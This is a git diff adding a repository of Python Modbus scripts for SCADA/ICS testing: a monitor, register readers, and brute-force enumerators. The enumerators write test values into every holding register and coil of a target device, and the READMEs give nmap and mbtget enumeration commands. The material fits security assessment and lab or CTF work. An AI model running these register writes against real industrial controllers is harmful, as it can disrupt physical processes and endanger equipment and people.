Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for 